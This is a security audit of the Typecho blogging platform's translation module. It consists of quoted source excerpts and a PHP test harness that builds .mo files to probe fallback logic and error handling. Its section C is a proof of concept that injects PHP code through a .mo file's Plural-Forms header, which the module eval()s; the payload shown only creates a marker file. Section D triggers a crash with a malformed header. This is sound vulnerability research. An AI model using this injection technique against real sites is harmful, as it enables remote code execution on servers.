Typecho's existing multilingual implementation has quite a few flaws.

$string = $this->getPluralForms();
$string = str_replace('nplurals', "\$total", $string);
$string = str_replace("n", $n, $string);
$string = str_replace('plural', "\$plural", $string);
...
eval("$string");

Plural-Forms: nplurals=2; plural=n==1?0:1; touch('zzz_mo_rce');//

if ($this->enable_cache) {
    $this->cache_translations = ['' => null];
    for ($i = 0; $i < $this->total; $i++) {
        if ($this->table_originals[$i * 2 + 1] > 0) {   // msgid 长度为 0 的头部被跳过
            ...

foreach ($this->handlers as $handle) {
    $string = $handle->translate($string, $count);
    if (- 1 != $count) break;
}

if ($options->lang && $options->lang != 'zh_CN') {
    $dir = ... __TYPECHO_ROOT_DIR__ . '/usr/langs';
    I18n::setLang($dir . '/' . $options->lang . '.mo');
}

<?php
/**
 * Typecho i18n (var/Typecho/I18n) audit harness — builds real .mo files and
 * exercises GetText / GetTextMulti / I18n paths under the local PHP.
 */
declare(strict_types=1);

error_reporting(E_ALL);
ini_set('display_errors', '1');

$root = dirname(__DIR__, 2);
require $root . '/var/Typecho/I18n/GetText.php';
require $root . '/var/Typecho/I18n/GetTextMulti.php';

use Typecho\I18n\GetText;
use Typecho\I18n\GetTextMulti;

/* ---------- tiny MO builder (cache-friendly layout) ---------- */
function build_mo(array $map, string $header = ''): string
{
    if ($header !== '') {
        $map = ['' => $header] + $map;
    }
    $magic = pack('V', 0x950412de);          // little-endian magic
    $n = count($map);
    $origStr = '';
    foreach (array_keys($map) as $o) {
        $origStr .= $o;
    }
    $transStr = '';
    foreach ($map as $t) {
        $transStr .= $t;
    }
    $origBase = 28;
    $transBase = 28 + strlen($origStr);
    $ot = '';
    $tt = '';
    $po = 0;
    $pt = 0;
    foreach ($map as $o => $t) {
        $ot .= pack('VV', strlen($o), $origBase + $po);
        $po += strlen($o);
        $tt .= pack('VV', strlen($t), $transBase + $pt);
        $pt += strlen($t);
    }
    $origTab = 28 + strlen($origStr) + strlen($transStr);
    $transTab = $origTab + 8 * $n;
    $hdr = $magic . pack('V', 0) . pack('V', $n)
        . pack('V', $origTab) . pack('V', $transTab) . pack('V', 0) . pack('V', 0);
    return $hdr . $origStr . $transStr . $ot . $tt;
}

function line(string $s): void
{
    echo $s . PHP_EOL;
}

$dir = __DIR__;
$results = [];

/* ============================================================
 * A. Multi-file fallback semantics of GetTextMulti::translate()
 *    Intention: string missing in handler#1 should be looked up
 *    in handler#2 .. N (see GetTextMulti "多个mo文件").
 * ============================================================ */
$a = build_mo(['alpha' => 'A_ALPHA']);
$b = build_mo(['beta'  => 'B_BETA']);
file_put_contents("$dir/a.mo", $a);
file_put_contents("$dir/b.mo", $b);

$m = new GetTextMulti("$dir/a.mo");
$m->addFile("$dir/b.mo");

$t1 = $m->translate('alpha'); // in first file
$t2 = $m->translate('beta');  // only in second file
$results['A.translate.fallback'] = $t2; // expected 'B_BETA' if fallback works
line('A1 translate(alpha) = ' . var_export($t1, true) . '   (expect A_ALPHA)');
line('A2 translate(beta)  = ' . var_export($t2, true) . '   (expect B_BETA if multi-file fallback works)');
unset($m);

/* ============================================================
 * B. Order semantics of GetTextMulti::ngettext()
 * ============================================================ */
$pluralHeader = "Content-Type: text/plain; charset=UTF-8\nPlural-Forms: nplurals=2; plural=n==1?0:1;\n";
$mapA = ['count' . chr(0) . 'counts' => 'ONE_A' . chr(0) . 'MANY_A'];
$mapB = ['count' . chr(0) . 'counts' => 'ONE_B' . chr(0) . 'MANY_B',
         'other' . chr(0) . 'others' => 'OTHER_B'];
$pa = build_mo($mapA, $pluralHeader);
$pb = build_mo($mapB, $pluralHeader);
file_put_contents("$dir/pa.mo", $pa);
file_put_contents("$dir/pb.mo", $pb);

$m = new GetTextMulti("$dir/pa.mo");
$m->addFile("$dir/pb.mo");
$n1 = $m->ngettext('count', 'counts', 1);  // present in both
$n2 = $m->ngettext('other', 'others', 2);  // only in second
$results['B.ngettext.fallback'] = $n2;
line('B1 ngettext(count,1) = ' . var_export($n1, true) . '  (A or B ?)');
line('B2 ngettext(other,2) = ' . var_export($n2, true) . '  (expect OTHER_B if fallback works)');
unset($m);

/* ---- I. ngettext: hit in first file, miss in second -> result overwritten by default? */
$pa2 = build_mo(['yes' . chr(0) . 'yess' => 'OUI' . chr(0) . 'OUIS'], $pluralHeader);
$pb2 = build_mo([], $pluralHeader); // plugin file without 'yes'
file_put_contents("$dir/pa2.mo", $pa2);
file_put_contents("$dir/pb2.mo", $pb2);
$m = new GetTextMulti("$dir/pa2.mo");
$m->addFile("$dir/pb2.mo");
$i1 = $m->ngettext('yes', 'yess', 1);  // first file has it, second misses
$results['I.ngettext.overwrite'] = $i1;
line('I1 ngettext(yes,1) = ' . var_export($i1, true) . '  (expect OUI — first file hit)');
unset($m);

/* ---- H. translate() with enable_cache = false (getLangs equivalent) */
$ha = build_mo(['lang' => 'English']);
file_put_contents("$dir/ha.mo", $ha);
$g = new GetText("$dir/ha.mo", false);
$t = $g->translate('lang', $cnt);
$results['H.translate.cacheoff'] = $t;
line('H1 translate(lang) cache=off = ' . var_export($t, true)
    . ' (cnt=' . var_export($cnt, true) . ')');
unset($g);

/* ============================================================
 * C. eval() of plural-forms header — code execution probe
 *    GetText::selectString() eval()s a string taken straight from
 *    the .mo header after naive str_replace.
 *    NB: loadTables() skips the "" (msgid) header row when
 *    enable_cache = true, so the header plural-forms is only used
 *    when enable_cache = false.
 *    Payload uses function names WITHOUT letter "n" because every
 *    literal "n" is replaced by the number argument first.
 * ============================================================ */
$evilHeader = "Content-Type: text/plain; charset=UTF-8\n"
    . "Plural-Forms: nplurals=2; plural=n==1?0:1; touch('zzz_mo_rce');//\n";
$evil = build_mo(['x' . chr(0) . 'xs' => 'Y' . chr(0) . 'Z'], $evilHeader);
file_put_contents("$dir/evil.mo", $evil);
@unlink("$dir/zzz_mo_rce");

// C1 — default runtime configuration (enable_cache = true, GetTextMulti)
$g = new GetText("$dir/evil.mo", true);
$out = $g->ngettext('x', 'xs', 3, $n);
$created = file_exists("$dir/zzz_mo_rce");
line('C1 cache=ON  ngettext() = ' . var_export($out, true)
    . ' | header loaded? pluralHeader is private; infer via RCE file: ' . var_export($created, true));
@unlink("$dir/zzz_mo_rce");
unset($g);

// C2 — enable_cache = false (as used by Widget\Options\General::getLangs)
chdir($dir);
$g = new GetText("$dir/evil.mo", false);
try {
    $out = $g->ngettext('x', 'xs', 3, $n);
    $created = file_exists("$dir/zzz_mo_rce");
    line('C2 cache=OFF ngettext() = ' . var_export($out, true)
        . ' | RCE file created by eval() ? ' . var_export($created, true));
    $results['C.plural.eval'] = $created;
} catch (\Throwable $e) {
    line('C2 cache=OFF throws ' . get_class($e) . ': ' . $e->getMessage());
    $results['C.plural.eval'] = get_class($e);
}
@unlink("$dir/zzz_mo_rce");
unset($g);

/* ============================================================
 * D. Malformed plural-forms -> ParseError (uncaught => fatal/DoS)
 * ============================================================ */
$badHeader = "Content-Type: text/plain; charset=UTF-8\nPlural-Forms: nplurals=2; plural=@@@BROKEN@@@;\n";
$bad = build_mo(['x' . chr(0) . 'xs' => 'Y' . chr(0) . 'Z'], $badHeader);
file_put_contents("$dir/bad.mo", $bad);
$g = new GetText("$dir/bad.mo", true);
try {
    $g->ngettext('x', 'xs', 3, $n);
    line('D1 malformed plural-forms cache=ON : NO exception (header not loaded)');
    $results['D.plural.parse'] = false;
} catch (\Throwable $e) {
    line('D1 malformed plural-forms cache=ON throws ' . get_class($e) . ': ' . $e->getMessage());
    $results['D.plural.parse'] = true;
}
unset($g);

$g = new GetText("$dir/bad.mo", false);
try {
    $g->ngettext('x', 'xs', 3, $n);
    line('D2 malformed plural-forms cache=OFF : NO exception');
    $results['D.plural.parse2'] = false;
} catch (\Throwable $e) {
    line('D2 malformed plural-forms cache=OFF throws ' . get_class($e) . ': ' . $e->getMessage());
    $results['D.plural.parse2'] = get_class($e);
}
unset($g);

/* ============================================================
 * E. Missing-file destructor: fclose(null)
 * ============================================================ */
$g = new GetText("$dir/not_exist.mo", true);   // short-circuit path
try {
    unset($g);
    line('E1 destructor on missing file: NO error');
    $results['E.destructor'] = false;
} catch (\Throwable $e) {
    line('E1 destructor on missing file throws ' . get_class($e) . ': ' . $e->getMessage());
    $results['E.destructor'] = true;
}

/* ============================================================
 * F. Truncated MO header handling (empty read / unpack)
 * ============================================================ */
file_put_contents("$dir/trunc.mo", "\xde\x12\x04\x95\x00\x00\x00\x00");
try {
    $g = new GetText("$dir/trunc.mo", true);
    $r = $g->translate('x', $cnt);
    line('F1 truncated mo translate = ' . var_export($r, true));
    $results['F.truncated'] = 'ok';
} catch (\Throwable $e) {
    line('F1 truncated mo throws ' . get_class($e) . ': ' . $e->getMessage());
    $results['F.truncated'] = get_class($e);
}
unset($g);

/* ============================================================
 * G. General setLang semantics / missing main mo file
 * ============================================================ */
// replicate Widget\Init composition:
$optionsLang = 'en_US';
$path = $dir . '/langs/' . $optionsLang . '.mo';
line('G1 composed lang path = ' . $path . '  exists=' . var_export(file_exists($path), true));

line('');
line('=== SUMMARY ===');
foreach ($results as $k => $v) {
    line(str_pad($k, 28) . ' => ' . var_export($v, true));
}